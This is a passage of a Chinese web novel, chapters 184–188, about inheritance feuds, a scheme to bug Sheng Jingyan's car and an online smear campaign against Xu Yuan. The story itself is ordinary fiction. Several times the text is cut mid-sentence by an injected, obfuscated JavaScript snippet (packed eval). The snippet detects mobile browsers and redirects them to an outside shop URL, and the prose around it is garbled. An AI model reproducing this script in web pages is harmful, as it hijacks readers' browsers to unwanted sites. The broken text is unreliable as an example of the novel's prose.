盛明浔很少用这样的语气跟盛景炎说话,盛景炎其实挺想发笑的。 他以前装出一副浪荡模样,圈子里哪有名门千金瞧得上他,无非是玩闹几句,也就只有小门小户的想靠着他攀附上盛家。 而许愿呢,纵然没有完美的出身,但她自身的一切,就足够弥补她出身的不足。 更何况……许愿的生母是苏青莲,只这一点就已经够傲视所有人。 “你一定要这么说,只能是我配不上她。” “许愿那样优秀,她想要什么样的人没有?你以为她为什么会选择我?”盛景炎话音才落,盛明浔便打断她。 “因为她结过婚嫁过人,有过傅京礼的孩子,就算她以往再优秀,在那些人的眼里她都已经不干净了。” “不然你以为上流圈子那些老狐狸们真是蠢货吗!他们放着许愿这么好的孙媳对象不要,白白让给你吗?” “知道许愿过往的那群老狐狸,都不会允许自己的子孙辈去追求许愿,就是因为知道她跟傅京礼有过一段。你不仅不躲着点,还要往上凑?” “我看你是疯了!” 盛明浔简直是恨铁不成钢。 盛景炎是他弟弟,他肯定是一心盼着自己弟弟好的,可偏偏他像是被许愿迷了心智一样。 她再优秀,那也是嫁过人了的。 盛景炎垂眸,目光落在身边兄长的身上。 “大哥,你当年也是这样看待母亲的吗?” 他缓缓开口询问。 “如果母亲当年鼓起勇气和盛衡离婚,你是不是也会这样想她?” “如果她再勇敢一点,争夺我们两人的抚养权,是不是在你心里,她就是一个蠢笨的丢掉了名声带着两个拖油瓶的女人。” “你是这样想的吗?” 盛景炎的一番话,令盛明浔哑口无言。 他是这样想的吗? 对于母亲,他当然不会这样想,可那是许愿,不是母亲。 “我知道你会觉得因人而论,可阿愿又何尝不是这世界上千千万万个我们母亲那般的角色?不同的是阿愿离婚了,阿愿尝试走出来了。” “她在努力她在找自己的方向,她在极力摆脱那段过往,她明明已经足够强大,但你们却一定要摧毁她。” “你们用舆论用世俗的眼光,编制了巨大的牢笼,你们对女性的苦痛视而不见,你们忽略掉她所有的成功,你们只记得她是一个离婚的女人。” “你瞧,多可笑。” 盛景炎这般嘲讽的开口。 事实上,盛景炎和江惊蛰算是属于一类人。 江惊蛰能与女性共情,是因为曾参与过国际救援行动,亲眼看到过女性的苦痛。 盛景炎则是幼年时见到过自己母亲的经历,能够与女性共情。 他完完全全站在许愿的角度去看待一切,所以直到此刻,他才清楚的发现许愿每一步走的有多难。 他终于明白许愿为什么一定要不顾一切的往上爬。 因为真正掌权的女性角色太少了,少到发生这种事的时候,没有人能为她们说上一句话。 抛开盛华背后真正掌舵人的角色,许愿现今的身份已经站得足够好,轻而易举就能影响股市,投资的所有产业均会盈利。 他们表面上恭维她夸奖她,但背地里却嘲讽她终究只是个女人。 强大如许愿,遇到这种事,所有的一切都被抹平成一个结过婚嫁过人的女人。 “你以为在我们这段关系中,是我选择许愿吗?不,从始至终我都是被选择的那个,阿愿才是真正占据主导权位置的。” 盛景炎很轻很轻的笑了。 “阿愿很好。” “她是我的爱人。” 他语气如此坚定的开口。 “我看你真的疯了。”盛明浔唇瓣都在哆嗦,此刻温和的脸色都变了。 “我很清醒,疯了的一直都是你们。” “这么多年了,我依旧没有学会你们那些盲目的从众心理,我就喜欢特立独行。对我来说,我的想法就是正确的真实。” “我的爱人,只会是阿愿。” 盛景炎每一句几乎都在表达自己对许愿的爱意。 他对此毫不遮掩,他想让盛明浔知道自己的选择。 话已经说到这份儿上,已经没有继续谈下去的必要。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618137|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你知道盛家给你选择的结婚对象是谁吗?阿炎,如果你知道对方是谁,你或许会后悔现在的决定。” 盛明浔开口:“是唐雅颂。” a市最有名的几个名媛,唐雅颂就是其中之一。 高贵的出身足够令许多人仰望倾慕,可她却毅然决然的选择了盛景炎。 盛景炎蹙眉,似乎想清楚了今晚盛明浔为什么突然要见自己。 “我并不觉得唐雅颂多优秀,我的选择是阿愿。” 他仍然是这样的回答。 “好吧,我一直劝不动你。”盛明浔此刻已经放弃抵抗了。 “所以现在,我该去找阿愿了,她在盛衡那里对吗?” 盛明浔叹了口气,盛景炎看向他:“你平日里不会管这么多,是盛衡利用你说了什么?” 盛景炎太了解盛明浔和盛衡了,盛明浔自己不会无聊到关注这些,只有唯利是图的盛衡才会调查这些。 “你就不担心许愿知道你本来的未婚妻该是唐雅颂,会担心害怕的让位吗?” 担心?害怕? 盛景炎挺想笑的。 “阿愿只会让旁人担心害怕。” 他对许愿有绝对的信息,在她心里,她从不觉得自己比不上唐雅颂。 盛景炎转身离开,盛明浔候在原地,垂下一双阴暗深沉的眼。 蠢货。 明明有了更好的选择,却还要守着许愿这种破烂二手货。 提什么母亲,那个女人才更是蠢货。 但凡他们的生母家世显赫,像是唐雅颂这种出身,他们兄弟二人也不会沦落到如今境地,他更不会遭人迫害断掉两条腿。 若他是盛景炎,他一定会第一时间踢掉许愿,选择唐雅颂。 唐家的出身,足够让他们在圈内立足。 盛明浔喉间溢出嘲讽的冷笑,大厅隔间,容浔缓步走到他面前,低下头居高临下的看着他。 “那就是你引以为傲的弟弟,他做出了错误的选择不是吗?” “唐雅颂和许愿,他选了唐雅颂,你认为这样的盛景炎,还配顶替你的身份成为盛家继承人的身份吗?” 第184章 合作 “盛景炎的确优秀聪明,但是大少,你又差在什么地方呢?”容浔循循善诱。 容浔半蹲下身,几乎与盛明浔平视的角度,对上盛明浔那双温和中藏着深沉恨意的眼眸。 “大少,你只是断了一双腿,为什么要绝了你成为继承人的后路?” 容浔轻笑的提醒:“大少,你才是盛家真正嫡长血脉,你才应该是盛家的继承人不是吗?” 盛明浔喉结滚动,眼神晦涩不明。 几天前,容浔就已经找到盛明浔,那些有关于许愿的资料不是盛衡给的,是容浔给的。 盛明浔此人其实并没有多大的能力,但却心比天高,以往不显山不露水藏在阴暗角落只是因为断掉一双腿。 他也想争也想抢,只是以往盛衡偏心盛三,盛家那时的继承人是盛三不是盛景炎,所以盛明浔自认自己争不过盛三,这才按捺住自己阴暗的心绪。 可如今盛景炎继承了盛家,他想盛景炎怎么能这么不懂事,他才是盛家嫡长血脉,他怎么能越过他直接继承盛家呢? 不该询问他这个兄长,然后还到他手中吗? 如此太不知礼数了。 “大少,和我们合作,我可以帮你夺回盛家继承人的位置。” 容浔向盛明浔伸出手,压低声音笼络。 盛明浔眼神晦暗,却也没有蠢到头脑发热,直接同意容浔的说法。 “傅氏铁三角,我也是听说过的,许愿和容秘书共事三年之久,你们之间的感情会如此薄弱吗。” 盛明浔讥嘲:“你怎么可能会对许愿下手,这种愚蠢的谎话,骗骗幼童倒是可行。” 客厅的灯光亮得刺眼,照在容浔身上却像是渡上一层既温和又冰冷的暗芒。 他推了推鼻梁上的金丝边眼镜缓缓开口:“大少,在我和傅总这里,利益永远都会高于情感,我们从不会是情感的奴隶。” “更何况……大少不是已经知道许愿跟我们傅总离婚的事?许愿婚前,就已经和盛二少在一起,我们傅总是一定要报复回去的。” “就算大少不主动出击,我们也是不会放过盛二少的。” 他的话语透露着直白的狠意。 容浔能感受到盛明浔已经动摇,他将手放到盛明浔肩上轻拍了拍:“大少,如果你不抓好这次机会,我们会去找三少合作,等到那时就没有人能够护住你了。” “傅氏一定会针对盛二少,盛二少落败是必然。若是盛三上位,那盛家再不会有你们兄弟二人的立身之处,至于盛衡……比起你们,那老东西不是更疼爱盛三?” 容浔一句又一句,不停攻击刺激盛明浔的心理防线。 盛明浔听着这些整个人几近崩溃。 贪婪也逐渐占据上峰。 是啊,他不接受容浔提出的合作,那盛家未来会是盛三的天下。 盛景炎已经得罪了傅京礼,他势必会出事会落败,那让他这个嫡系血脉的哥哥成为继承人不是最好的选择吗? 盛明浔眼中的暗芒一掠而过。 “我同意你的合作。” 容浔温和的笑着:“真是聪明人的选择。” 他取出一个小盒子,小盒子内承装着细小如黄豆大小的机械贴递交到盛明浔手中。 “这是最新研制出的监听器,就劳烦大少有机会放到盛景炎的车内了。” “这种事,也就只有盛景炎最亲近的人才能做。” 这句话倒像是带着嘲讽的。 最亲近的人却做着伤害背叛他的事,多可笑呢。 盛明浔根本没有多加思考,他夺过容浔递来的盒子,容浔连着几声轻笑。 “那么大少,再会。” 容浔转身的瞬间,面上温和的笑意瞬间冷却下来,只余冷嘲。 愚蠢的东西。 对金融商场的东西一窍不通,竟然也敢自视甚高想继承盛家,也不看看自己几斤几两。 如今盛世有许愿加盟,盛世不同往日,若是此次在金融峰会成为赢家,甚至会直压傅氏一头。 这次甚至不是傅氏直言与盛世为敌,而是盛景炎为了许愿主动与傅氏为敌,两方为敌,谁胜谁败无从得知。 就连他面对有许愿加盟的盛世, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618138|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不敢以绝对的语气说自己会赢,盛明浔又凭什么认为盛景炎一定会输? 而世人的目光?更是可笑。 唐雅颂再优秀再高贵,也抵不过一个许愿,出身高贵哪怕是公主,也抵不过千百年才横空出世的天才。 唐雅颂那样的聪明人世界上千千万,但能引领金融市场开脱新市场,碾压国外金融行业的,又有几人? 不过…… 盛明浔越是愚蠢,对他们就越是有利。 他等着许愿被伤透,重回傅氏的那天。 …… 盛明浔和容浔的对话与合作,盛景炎全然不知。因为在他心里,盛明浔是一起长大的兄长,是唯二可以信任的。 他匆匆赶到盛家老宅推开门,就听到许愿开口“只要盛景炎同意分开,我绝不会多纠缠。” 他听到这话,整个人都险些气笑了。 什么叫做只要盛景炎同意分开,就绝不会多纠缠? “阿愿,你这句话说得可真让人伤心。” 盛景炎摆了摆肩一派温和模样,心里面是在生气,但对上许愿那张脸瞬间就气不起来,只能轻叹一口气。 “你明知道我不会同意分开。” 他行至许愿身边,然后整个人挡在许愿身前,他半蹲下身,温热的大掌握住她还有些发凉的掌心:“还是很冷吗?为什么手心这样凉。” “江惊蛰开的药真的管用吗?怎么都不见好。” 他脱下外套搭在她身上,像是觉得她会冷。 也确实,盛衡这人怕热,房间内开着空调温度调得很低。 盛景炎给她盖上自己的衣服,然后走过去直接把空调线拔了。 从进来到现在,他一句话都没搭理盛衡,还不经他同意直接扒拉空调线。 盛衡一口气没上来脸都气白了,连连指着他骂:“混账东西!我让你关了吗你就关!你给我插上去!” 盛景炎仍然给许愿暖着手,眼底一片柔和,但瞥向盛衡的眼神却充斥着冰冷。 “那请问我有让你越过我约见阿愿吗?你经过我的同意没有?” 第185章 容浔的算计 盛景炎的喉间溢出明显的嗤笑,他眼尾挑起,带着明显的嘲意弧度。 “我是混账东西,你是第一天知道吗?” “老混账生了个小混账,不是你应得的?” 盛衡为什么不疼盛景炎,不仅因为盛景炎的母亲不是他喜欢的,更因为盛景炎的脾性太气人,他当年那般强硬的把人送出国,就是因为见不得盛景炎。 盛景炎的狗脾气太气人,十句话九句话都带着刺,就像现在,狗东西回来就要关他空调。 为了个离过婚的女人跟他老子作对,像话吗?! 盛衡气得不停拍抚自己胸口,以防自己被盛景炎气到心脏病发。 “既然你回来了,你就给我表态。” “唐家小姐曾经是你的学妹,她对你了解诸多,心生爱慕,不久前说要跟你缔结婚约关系,你怎么看?” 盛衡是全然不顾许愿还在他面前,直接开口逼问。 盛景炎仍握着许愿柔软的掌心捏了捏。 “唐家小姐都不看版面新闻吗?我以为我和阿愿的爱情已经够轰动了,我的未婚妻是阿愿,唐小姐凑上来,难道是想当第三者吗?” 盛景炎挑了下眉梢,眼底的讥讽之意呼之欲出。 “你的婚事,你自己如何能做主,你既然是盛家的继承人就该听我的,你怎么也要娶唐小姐那样出身的人!” 盛衡正要嘲讽回应,一偏头,却对上许愿深沉漆黑却带着点笑的眼眸。 她好像是在看戏,等着看他笑话一般。 盛景炎歪歪头,狭长的眸也染带几分浅浅的笑。 “看我笑话?” 许愿眉眼弯弯。 盛景炎单膝跪在地上,一手执起许愿的掌心紧握,他此刻只能抬头看她,他其实喜欢将许愿放在高位。 他是掌控欲很强的那种人,碰巧许愿也是,但对于许愿他愿意低头后退。 这个角度,需要只要低头,就能对上他深沉温柔的眼眸。 许愿伸出手捧住盛景炎的脸,盛景炎顺从的随着她的动作,离她愈发近。 她低头,红唇几乎要贴在他唇上,呼吸交错间能感受到那股难掩的缠绵感。 “回答他,选择唐小姐还是选择我?” 她分明素净着一张脸,却带着别样的魅惑,声音低缓带着诱哄。 盛景炎低低的笑了声,逗她:“这么想听我的回答?” “阿愿不是说只要我同意分开,绝不会多纠缠吗?” 盛景炎眼睛含笑的翻旧账,他确实在因为这件事而生气。 许愿盯着他看了几秒,然后眨了眨眼睛,似乎是有点生气。 她也不惯着盛景炎, 这就要控制着轮椅离开。 “哎哎哎,祖宗,我开玩笑的!” 盛景炎哪敢再逗。 他赶紧站起来,拦住她,省得自己一个不注意真让她走了,那他可太冤了。 盛衡就看不得他这样,混账东西在他这里作天作地,难听话一句一句的,敢情甜言蜜语都到许愿那边了?许愿配吗! 盛衡怒道:“她要走就让她走!赶紧走!” 盛景炎气得头疼,他捏了捏眉心,抬眸时眼底都带着厉色。 “盛衡,你是不是还以为现在的盛家,还是那个你在主位的盛家。” 盛景炎嗤笑:“现在盛家真正的掌权人是我,需要我再提醒一句吗?你已经被我斗下去了。” “这个位置不是你让给我的,是我篡位抢到手里的。” “所以你凭什么认为,我会听你的?” 盛景炎抬眸时看向他,眼底都带着几分晦暗之意,是威胁,也是警告。 盛衡被他的眼神看得呼吸一滞。 是他忘了,他这个儿子早就羽翼丰满了。 他能凶狠的一脚踹开自己这个父亲,抢占先机,成为盛世的掌舵人,如今的盛世已经是盛景炎的一言堂,他怎么可能听他的? “盛景炎,你要清楚,一旦你真的选择放弃唐小姐,就真的没有退路了。” “许愿所在的许家,不会给你任何庇佑。” “你娶唐小姐,却能够得到唐家的助力,孰轻孰重,你自己考虑清楚。” 到最后,盛衡还是忍不住开口劝。 盛景炎瞳眸仍然幽暗,他嗤笑连连。 “如果我选择这条捷径,早在三四年前就已经成为盛世掌舵人,不会等到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618139|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在。”盛景炎嘲讽,“盛衡,你总该明白我这话的意思了?” 盛衡此刻整个人目光略带几分呆滞,他看向盛景炎终于明白这话中深意。 唐雅颂几年前就已经在追求盛景炎,但盛景炎早就拒绝了。 “所以,你该知道我的选择了。” 盛景炎声音低沉带着明显的嘲意:“我的身边,只会有阿愿。” 说这话时,他的目光是对着许愿的。 许愿眼睛弯弯的,她似乎是很满意盛景炎的回答,冲他勾了勾手指,盛景炎挑了下眉凑过去,许愿的唇便已经印在他眉心。 很轻柔的一个吻。 盛衡几乎怒火攻心,他抚着胸口,看不下去了。 “滚滚滚!混账东西!赶紧带着你的人滚!” 盛景炎这次懒得理他了,推着许愿的轮椅往外走。 “你给我把空调线插上!”盛衡大喊。 盛景炎随意的摆了下手:“已经滚远了!” 混账东西! 所以说,这能怪他偏心小儿子吗!盛景炎这狗东西就不配他心疼。 盛明宇一路听完全程,他躲在暗处眼底都带着晦暗的恨意。 盛世的掌权人本该是他,他才是名正言顺的继承人,是盛景炎从他手里抢走了属于自己的东西。 盛明宇喉咙干涩,他下楼,声音阴暗危险:“爸,你帮我,我要重新夺回盛世。” 自盛世被夺走后,盛明宇一直在老宅没有出过门,他躲着藏着不敢见昔日好友。 可现在,盛景炎放弃唐雅颂,就等于给了她机会。 “明宇,盛景炎的心思深重,你要抢他的东西……难啊。” 连他都守不住的东西,盛明宇要如何抢回来? “无所谓,容秘书会帮我。” 盛衡眼睛腾的亮起来。 “你说的是容浔?” “对,容秘书说他会帮我。” 盛明宇此刻无比自信。 容浔为什么选择帮他?还不是因为他有潜力? “那你跟容秘书好好沟通,容秘书说如何做,我们就如何做。如果能夺回盛世,以后盛家的一切还是你的!” 第186章 一环扣一环的阴谋 盛明宇还在做着能继承盛世的美梦,殊不知容浔不止见过他,还同样见过盛明浔。 盛家人除了盛景炎,全都是贪婪愚蠢的东西。 想要搞垮盛景炎,首先就要让盛家先内讧,盛家可不像傅家那般和谐团结,还有个傅老爷子镇着,盛衡只会帮着将事情闹得更大。 断腿多年郁郁寡欢的嫡长子想要争夺权势,备受疼爱的小儿子也卷土重来,他们会率先将炮火对准盛景炎。 盛景炎的软肋是谁?是许愿。 许愿的软肋是什么? 若是以前,那必定是苏逸,但现在苏逸已经被许愿救出苏家,许愿的软肋弱点就是他跟傅京礼的那段夫妻关系。 她结过婚。 她结过婚就是原罪。 那些人可以将许愿视作女神捧上高台,也能折断她圣洁的翅膀,让她从高空坠落狠狠摔落泥潭。 攻击许愿,同样就是在攻击盛景炎。 如今的许愿是盛世的总经理,伤害许愿就是伤害盛世,到时盛世股价势必暴跌,他要等的就是这种时刻。 容浔在车内,唇角微不可查的勾起一抹浅淡的凉笑。 车内挂着个极小的蓝钻摆件,是许愿曾去f国出差后送给他的礼物,他一直摆放至今。 容浔长指勾动摆件的头顶,轻轻摩挲。 “许愿,留在傅氏不是很好吗?我们会一直是无坚不摧的伙伴,傅氏铁三角,谁敢与我们抗衡呢?” “为什么一定要背叛阿礼。” “你背叛他,那我们只好针对你。” “只有你在外面尝到苦头,才能明白傅氏才是你最终的选择。” 容浔那双温润的琥珀色眸底,带着浅浅的意色。 “我和阿礼,等着你回来的那一天。” 话落,容浔慢条斯理的将蓝钻摆件扣倒,拨了通电话出去,对面秒接。 “将我整理好的有关许愿和傅总的资料,都给他们发过去,他们会知道要如何做的。” 发完,容浔摁灭手机,长指轻点着手机屏幕,眼底带着明显的笑意。 容浔做完准备工作,却没有看到自己的车子后面,紧跟着两辆并不显眼的车子。 “傅总,容浔真的联系了盛家人,接下来我们要如何做?” 御景园。 傅长海动作优雅地为自己倒了杯红酒,声音闲散悠然。 “随容浔和傅京礼去发疯,这些证据我们当然要保留,只等许愿得知真相,她自会替我们去反击针对傅京礼。” 似是想到了什么,傅长海意味深长道:“刚巧,我也很久没见过远程的总裁了,想必他对这些也很感兴趣。” 远程,傅氏大敌。 若是远程也知道这些,一定会掺进来。 远程在国内的地位不低,若是趁乱得罪了许愿,按照许愿的性格,远程一样会遭殃。 等到真的乱成一锅粥,他才好坐收渔翁之利。 闹吧,闹得越乱越好。 最好是盛世和傅氏的股价同时暴跌,这样他才能趁乱,捞到足够多的好处。 这是他为嘉誉留下的宝藏啊。 傅长海才将自己的命令吩咐下去,就听见自己书房的门被敲响,这样轻快的频率,一听就知道是他的小公主。 “进来。” 傅长海话音才落,就见傅嘉誉探进一颗小脑袋,漂亮的脸蛋上带着点笑意,眼睛弯弯的无害又可爱。 傅长海只觉此刻自己内心所有的阴暗面,都被自己的女儿冲刷洗净了。 他眉眼含笑的朝傅嘉誉招招手,傅嘉誉眼睛腾的更亮了,冲到他面前。 “爸爸爸爸爸!” 连着叫了几声爸,语调都是甜甜的。 听这语气,就知道有事情要求自己。 “有事就说,我还能不依你?”傅长海对她一向是纵容的。 傅嘉誉笑得更开心了:“傅长海先生,我要告诉你一件非常重要的事情,我可能马上就要恋爱了~” 傅长海在傅嘉誉面前,一直都没有多少父亲的威严。 在傅嘉誉心里,傅长海不仅是父亲,更是无话不谈的好朋友。 若是以往,她会找许愿聊这些。 但现在许愿已经跟傅京礼离婚了,且盛景炎似乎不怎么喜欢傅家人,她不想许愿为难,所以只能来找傅长海谈这些。 傅长海脸上的笑意不减,只眼底一片漆黑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618140|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “能跟我讲讲那是个什么样的人吗?能让嘉誉喜欢的,一定是非常优秀的。” 傅嘉誉一抬下巴,一副骄傲的小孔雀模样。 “那当然了,学长可是继我哥和嫂子之后又一个被夸奖的典型,他马上就要毕业了,我和学长就在一个小组合作,也会参加这次的金融峰会。” “我打算等金融峰会后,就跟学长说喜欢他。” 傅嘉誉提到那位学长,眼睛都是亮晶晶的。 “我相信不管有没有你这位学长,你们都能在金融峰会上大放异彩。” 傅长海揉了揉傅嘉誉毛茸茸的头发,声音温柔带着几分诱哄。 傅嘉誉开心的坐在沙发上踢脚脚,她开心起来的时候,总是会做很多可爱的小动作 ,让傅长海看得内心都软化了。 傅嘉誉像是很兴奋,小嘴叭叭叭说个不停。 傅长海一直认真倾听,直至最后傅嘉誉困了要离开前傅长海开口。 “嘉誉,你觉得傅氏怎么样?” 傅嘉誉有点懵懵的:“很好啊,是国内排名前几的跨国企业呢。” 知道她的想法,傅长海嗯了一声:“去吧,早点休息。” 傅嘉誉迈着轻快的步伐离开,只有傅长海一个人陷入沉寂。 隐匿在书房阴暗角落的助理走上前,为他泡上一杯茶:“傅总,需要我去调查小姐那位学长吗?” “查清楚是什么出身,如果是冲着嘉誉身份地位来的,趁早解决他,免得到后期嘉誉伤心。” 傅长海慢条斯理的品茶。 “就算真有问题,也要到金融峰会后再解决他,毕竟现在他还是嘉誉的伙伴。” “好的傅总。” 助理离开后,傅长海才打开有关于傅氏的资料。 看到其内大段大段的介绍,眼底一片晦涩。 他会将傅氏亲手交到嘉誉手中。 傅京礼能守住的东西,嘉誉一样可以守住。 他捏了捏眉心,目光触及那份详尽的全息资料。 他眉头紧蹙。 不知为何,明明拿到了苏青莲留下的手稿,但研究计划却仍没有进展,现在只能快些找到傅老爷子提及的段星河。 第187章 看透 金融峰会在即,此次金融峰会举办地在a市。 还未正式召开,就已经将金融峰会现场定在a市体育场中心。 此次金融峰会,被看好的几大企业也被人纷纷押注,猜测会是谁才能成为金融峰会最大赢家。 其中被提到最多的是盛世盛华和黎氏,傅氏没有在列,是因为傅氏少了许愿,而盛华榜上有名是因为多了个许愿。 一个许愿,搅乱了这次的纷争。 至于盛华,一直都排在前沿。 此前在国外发展,近两年已经成功将公司重心转移到国内,作为跨国企业,手中的人脉网已经高过国内企业,此次金融峰会众多国外参与企业,更多的都是跟盛华有过合作的企业。 所以盛华排在其中,毫不意外。 与金融峰会相关的热搜已经轮番跑上去,然而此刻爆出一则所有人都未想到的“丑闻”。 盛世总裁盛景炎的未婚妻许愿不久前才与傅氏总裁傅京礼离婚,却无缝衔接与盛景炎在一起,并在离婚后为盛景炎小产过一次。 这类爆料并没有标注许愿大名,狗仔们也怂,他们当然知道许愿有多刚,只能先放出许愿和傅京礼结婚的消息,再爆料这类丑闻,所有人都会猜测丑闻的主人公是许愿。 许愿在有些人眼里是什么样的存在? 她漂亮,优雅,清冷,高贵。 她就像是只存在高山之巅无价的雪莲,让人只可远观不忍触碰的存在。 可就是这样的人,此刻爆出她的丑闻,将她所掩藏的真实原原本本的暴露出来。 他们撕扯开她自己都难以面对的婚姻关系,他们用她车祸失去的孩子嘲讽她奚落她攻击她。 早就看她不爽的某些异性在网络上充斥着骂声和污言秽语。 她结过婚,她结过婚的对象是傅京礼。 傅京礼是傅氏的总裁,此前更是她的丈夫。 她那些荣光是如何来的? 那些策划案真的是她自己做的吗? 她一个女人,哪里来的能耐? “以前我就奇怪了,那么多人都说许愿如何优秀,我就想着一个娘们能多优秀。现在看来,呵呵,女人就是女人,还不是靠着男人追捧呢,没有她男人,许愿能有如今的地位?” “许愿为什么隐婚?为什么不暴露自己和傅京礼的关系,就是因为许愿清楚一旦暴露他们的关系,那她就不能继续清高了。” “圈子里多少人追求许愿,她怎么好意思隐婚的时候还勾着这些人?” “许愿这种女人实在令人作呕,跟傅京礼结婚还要跟盛景炎搭线,才刚离婚就无缝衔接盛景炎?” “该说不愧是盛景炎吗?浪子就是浪子,他如果真的对许愿认真,就不会让许愿在婚姻关系存续期间有他的孩子。说白了,他就是看中许愿那张脸,情欲上头,说什么真爱?简直是侮辱真爱。” “一个整日流连欢场,一个婚内出轨,盛景炎许愿,天生一对儿!” 热搜闹得越来越大,盛世和盛华撤热搜,却有人暗中故意将热搜再度顶上去。 像是有备而来,刻意做了相关的策划针对许愿和盛景炎,更确切的说……是针对盛世。 马上就是金融峰会,这种时候爆出丑闻得利的会是谁?是其他企业。 盛世算是摊上了事,大企业轮番踩一脚,小企业也在暗中针对想要瓜分点小惠小利,盛世的股价也开始出现波动,开始动荡下跌。 许愿身体还未恢复处在虚弱期,看到热搜上对她的冷嘲热讽,她的眼神愈发沉冷。 这是要跟她打响舆论战了? 这池水太混乱了,像是有一双大手在背后操控棋局。 真正掌棋的人是谁?得利的会是谁? 设计陷害的手段像极了故人,却又带着旁人的手笔,不知道其中经过了多少人的算计。 许愿喉间溢出极轻的笑声。 “真是太有意思了。” 许愿拊掌,眼底的冷意完全不加掩盖。 看到网络上一片骂声,她却仍然沉稳,目光缓缓转向身旁的盛景炎。 盛景炎挑了下眉,默契的将小书桌搬到病床上,贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618141|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心的准备好笔记本和钢笔。 许愿握住钢笔正要写字,但手上没有力气,握不住钢笔。 钢笔自掌心滑落,在白纸上划出一道不规则的黑线。 许愿喉间微微发堵,眸光暗了几分。 “还是没力气?”盛景炎忧心忡忡的握住她发凉的指尖揉搓。 许愿敛眉:“可能只是需要好好休息,没什么大事。” 许愿重新握住钢笔,这次几乎是用了全力才堪堪握住钢笔,在笔记本上写上自己的思考过程。 她在本子上写了一大串人名,然后一个一个串联到一起。 容浔、盛家、远程……最后的最后她想到了傅长海,将他的名字落在最上端,组成一道密密麻麻的蛛网。 盛景炎只扫了一眼,内心惊诧。 “盛家人做出这种事我不意外,但是容浔……你跟容浔的关系摆在这里,容浔真的肯伤害你?”这是他疑惑的点。 三年的友情,难道说没就没? 许愿 轻笑。 “容浔这个人忠于傅京礼,也忠于利益。此前我只是和傅京礼离婚,没有离开傅氏继续为傅氏工作,他自然不会针对我。但离开傅氏的许愿,就会是傅氏大敌。” “他在逼我回傅氏,他想要我认清现实,他想给我个教训。” 许愿不由得摇了摇头。 “他很聪明,但是他没有看透傅长海。” “傅长海的野心很大,他不仅要傅氏还要更多,他又争又抢的想得到一切,所有人都是傅长海的攻击目标,容浔算计我,傅长海能猜到我会知晓这一切。” “傅长海以为我会反击,会攻击傅氏将局面弄得愈发混乱,他想要看我们‘狗咬狗’,那我就让傅长海知道,谁才是真正的狗。” 许愿合上钢笔盖子,指尖轻点桌面,声音柔柔的却带着明显的凉意。 “他想要我报复回去,我偏不如他的意。” “知道要如何压过这样的舆论吗?用更有意思的舆论,盖过这些舆论,或者说用绝对强盛的实力碾压一切。” 第188章 她才是猎手 许愿捏了捏眉心,声音轻缓:“我本来并不打算在这种时候暴露宣传全息和3d相关的事,不过可惜,傅长海自己找死。” 不等盛景炎问清楚她要发什么,许愿已经指尖飞速在电脑屏幕敲打了大段大段的编码数据,切入到一段影像中,然后飞速发送分享微博,配文:“全息盛世时代即将来临,你准备好了吗?” 螳螂捕蝉黄雀在后,傅长海想当这个黄雀,也要问一问她这个猎手答不答应。 傅长海此番最在意什么? 最在意全息,比起傅氏盛世,傅长海更在意他研究了多年的全息。 她就是要让傅长海产生挫败感,要让傅长海尝到失败的滋味儿。 他想研究全息,她就是要先傅长海一步拿出成果,要他清楚的知道彼此之间的差距。 他想让自己成为射向容浔和傅氏的子弹,她偏要修改轨道攻击他。 